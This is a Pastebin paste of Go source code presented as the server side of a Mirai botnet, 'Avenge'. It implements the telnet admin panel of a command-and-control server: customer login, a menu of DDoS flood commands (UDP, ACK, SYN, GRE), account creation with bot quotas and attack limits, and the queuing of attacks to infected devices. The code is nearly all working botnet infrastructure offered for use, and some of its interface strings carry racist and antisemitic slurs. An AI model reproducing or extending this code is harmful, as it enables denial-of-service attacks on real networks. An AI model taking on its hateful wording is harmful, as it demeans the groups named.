AvengeVPS

Avenge Mirai Serverside [MIRAI ONLY]

Mar 1st, 2018
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package main
  2. #This was made by AvengeVPS. Do not sell this.
  3.  
  4. import (
  5. "fmt"
  6. "net"
  7. "time"
  8. "strings"
  9. "strconv"
  10. )
  11.  
  12. type Admin struct {
  13. conn net.Conn
  14. }
  15.  
  16. func NewAdmin(conn net.Conn) *Admin {
  17. return &Admin{conn}
  18. }
  19.  
  20. func (this *Admin) Handle() {
  21. this.conn.Write([]byte("\033[?1049h"))
  22. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  23.  
  24. defer func() {
  25. this.conn.Write([]byte("\033[?1049l"))
  26. }()
  27.  
  28. // Get username
  29. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  30. this.conn.Write([]byte("\033[34;1mUsername:\033[33;3m: \033[0m"))
  31. username, err := this.ReadLine(false)
  32. if err != nil {
  33. return
  34. }
  35.  
  36. // Get password
  37. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  38. this.conn.Write([]byte("\033[34;1mPassword\033[33;3m: \033[0m"))
  39. password, err := this.ReadLine(true)
  40. if err != nil {
  41. return
  42. }
  43.  
  44. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  45. this.conn.Write([]byte("\r\n"))
  46. spinBuf := []byte{'-', '\\', '|', '/'}
  47. for i := 0; i < 15; i++ {
  48. this.conn.Write(append([]byte("\r\033[37;1mChecking Login...\033[31m"), spinBuf[i % len(spinBuf)]))
  49. time.Sleep(time.Duration(300) * time.Millisecond)
  50. }
  51.  
  52. var loggedIn bool
  53. var userInfo AccountInfo
  54. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  55. this.conn.Write([]byte("\r\033[36;1mYou out of here nigga!\r\n"))
  56. this.conn.Write([]byte("\033[31mPress ENTER to exit.\033[0m"))
  57. buf := make([]byte, 1)
  58. this.conn.Read(buf)
  59. return
  60. }
  61.  
  62. this.conn.Write([]byte("\033[2J\033[1;1H"))
  63.  
  64. this.conn.Write([]byte("\r\033[33;1m █████╗ ██╗ ██╗███████╗███╗ ██╗ ██████╗ ███████╗\r\n"))
  65. this.conn.Write([]byte("\r\033[33;1m██╔══██╗██║ ██║██╔════╝████╗ ██║██╔════╝ ██╔════╝*\r\n"))
  66. this.conn.Write([]byte("\r\033[33;1m███████║██║ ██║█████╗ ██╔██╗██║██║ ███╗█████╗ \r\n"))
  67. this.conn.Write([]byte("\r\033[35;1m██╔══██║██╗ ██ ██╔══╝ ██║╚████║██║ ██║██╔══╝ \r\n"))
  68. this.conn.Write([]byte("\r\033[35;1m██║ ██║ ╚████╔╝ ███████╗██║ ╚████║╚██████╔███████╗ \r\n"))
  69. this.conn.Write([]byte("\r\033[35;1m╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝\r\n"))
  70. this.conn.Write([]byte("\r\n"))
  71. this.conn.Write([]byte("\r\n"))
  72.  
  73.  
  74. go func() {
  75. i := 0
  76. for {
  77. var BotCount int
  78. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  79. BotCount = userInfo.maxBots
  80. } else {
  81. BotCount = clientList.Count()
  82. }
  83.  
  84. time.Sleep(time.Second)
  85. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Jews Connected | %s\007", BotCount, username))); err != nil {
  86. this.conn.Close()
  87. break
  88. }
  89. i++
  90. if i % 60 == 0 {
  91. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  92. }
  93. }
  94. }()
  95.  
  96. for {
  97. var botCatagory string
  98. var botCount int
  99.  
  100. this.conn.Write([]byte("\033[36;1m" + username + "@Botnet# \033[0m"))
  101.  
  102. cmd, err := this.ReadLine(false)
  103. if err != nil || cmd == "exit" || cmd == "quit" {
  104. return
  105. }
  106. if cmd == "clear" || cmd == "cls" {
  107. this.conn.Write([]byte("\033[2J\033[1;1H"))
  108. this.conn.Write([]byte("\r\033[33;1m █████╗ ██╗ ██╗███████╗███╗ ██╗ ██████╗ ███████╗\r\n"))
  109. this.conn.Write([]byte("\r\033[33;1m██╔══██╗██║ ██║██╔════╝████╗ ██║██╔════╝ ██╔════╝*\r\n"))
  110. this.conn.Write([]byte("\r\033[33;1m███████║██║ ██║█████╗ ██╔██╗██║██║ ███╗█████╗ \r\n"))
  111. this.conn.Write([]byte("\r\033[35;1m██╔══██║██╗ ██ ██╔══╝ ██║╚████║██║ ██║██╔══╝ \r\n"))
  112. this.conn.Write([]byte("\r\033[35;1m██║ ██║ ╚████╔╝ ███████╗██║ ╚████║╚██████╔███████╗ \r\n"))
  113. this.conn.Write([]byte("\r\033[35;1m╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝\r\n"))
  114. this.conn.Write([]byte("\r\n"))
  115. continue
  116. }
  117. if cmd == "HELP" || cmd == "help" {
  118. this.conn.Write([]byte("\r\033[36;1mAvailable Attack Commands\r\n"))
  119. this.conn.Write([]byte("\r\033[36;1mudpplain ip time dport=\r\n"))
  120. this.conn.Write([]byte("\r\033[36;1mudp ip time dport=\r\n"))
  121. this.conn.Write([]byte("\r\033[36;1mack ip time dport=\r\n"))
  122. this.conn.Write([]byte("\r\033[36;1msyn ip time dport=\r\n"))
  123. this.conn.Write([]byte("\r\033[36;1mgreip ip time dport=\r\n"))
  124. this.conn.Write([]byte("\r\033[36;1mcls || clear | clears screen\r\n"))
  125. this.conn.Write([]byte("\r\n"))
  126.  
  127. continue
  128. }
  129. if cmd == "" {
  130. continue
  131. }
  132.  
  133. botCount = userInfo.maxBots
  134.  
  135. if userInfo.admin == 1 && cmd == "adduser" || cmd == "addAdmin" {
  136. this.conn.Write([]byte("Username: "))
  137. new_un, err := this.ReadLine(false)
  138. if err != nil {
  139. return
  140. }
  141. this.conn.Write([]byte("Password: "))
  142. new_pw, err := this.ReadLine(false)
  143. if err != nil {
  144. return
  145. }
  146. this.conn.Write([]byte("Enter Bot Count (-1 for full net): "))
  147. max_bots_str, err := this.ReadLine(false)
  148. if err != nil {
  149. return
  150. }
  151. max_bots, err := strconv.Atoi(max_bots_str)
  152. if err != nil {
  153. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to list the bot count")))
  154. continue
  155. }
  156. this.conn.Write([]byte("Max Attack Time (-1 for none): "))
  157. duration_str, err := this.ReadLine(false)
  158. if err != nil {
  159. return
  160. }
  161. duration, err := strconv.Atoi(duration_str)
  162. if err != nil {
  163. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to list the attack duration limit")))
  164. continue
  165. }
  166. this.conn.Write([]byte("Cooldown Between Attacks (0 for none): "))
  167. cooldown_str, err := this.ReadLine(false)
  168. if err != nil {
  169. return
  170. }
  171. cooldown, err := strconv.Atoi(cooldown_str)
  172. if err != nil {
  173. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to list the cooldown")))
  174. continue
  175. }
  176. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  177. confirm, err := this.ReadLine(false)
  178. if err != nil {
  179. return
  180. }
  181. if confirm != "y" {
  182. continue
  183. }
  184. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  185. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  186. } else {
  187. this.conn.Write([]byte("\033[36;1mUser added successfully.\033[0m\r\n"))
  188. }
  189. continue
  190. }
  191. if userInfo.admin == 1 && cmd == "botcount" || cmd == "bots" || cmd == "count" {
  192. m := clientList.Distribution()
  193. for k, v := range m {
  194. this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v) ))
  195. }
  196. continue
  197. }
  198. if cmd[0] == '-' {
  199. countSplit := strings.SplitN(cmd, " ", 2)
  200. count := countSplit[0][1:]
  201. botCount, err = strconv.Atoi(count)
  202. if err != nil {
  203. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  204. continue
  205. }
  206. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  207. this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  208. continue
  209. }
  210. cmd = countSplit[1]
  211. }
  212. if userInfo.admin == 1 && cmd[0] == '@' {
  213. cataSplit := strings.SplitN(cmd, " ", 2)
  214. botCatagory = cataSplit[0][1:]
  215. cmd = cataSplit[1]
  216. }
  217.  
  218. atk, err := NewAttack(cmd, userInfo.admin)
  219. if err != nil {
  220. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  221. } else {
  222. buf, err := atk.Build()
  223. if err != nil {
  224. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  225. } else {
  226. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  227. this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  228. } else if !database.ContainsWhitelistedTargets(atk) {
  229. clientList.QueueBuf(buf, botCount, botCatagory)
  230. } else {
  231. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  232. }
  233. }
  234. }
  235. }
  236. }
  237.  
  238. func (this *Admin) ReadLine(masked bool) (string, error) {
  239. buf := make([]byte, 1024)
  240. bufPos := 0
  241.  
  242. for {
  243. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  244. if err != nil || n != 1 {
  245. return "", err
  246. }
  247. if buf[bufPos] == '\xFF' {
  248. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  249. if err != nil || n != 2 {
  250. return "", err
  251. }
  252. bufPos--
  253. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  254. if bufPos > 0 {
  255. this.conn.Write([]byte(string(buf[bufPos])))
  256. bufPos--
  257. }
  258. bufPos--
  259. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  260. bufPos--
  261. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  262. this.conn.Write([]byte("\r\n"))
  263. return string(buf[:bufPos]), nil
  264. } else if buf[bufPos] == 0x03 {
  265. this.conn.Write([]byte("^C\r\n"))
  266. return "", nil
  267. } else {
  268. if buf[bufPos] == '\x1B' {
  269. buf[bufPos] = '^';
  270. this.conn.Write([]byte(string(buf[bufPos])))
  271. bufPos++;
  272. buf[bufPos] = '[';
  273. this.conn.Write([]byte(string(buf[bufPos])))
  274. } else if masked {
  275. this.conn.Write([]byte("*"))
  276. } else {
  277. this.conn.Write([]byte(string(buf[bufPos])))
  278. }
  279. }
  280. bufPos++
  281. }
  282. return string(buf), nil
  283. }
Add Comment
Please, Sign In to add comment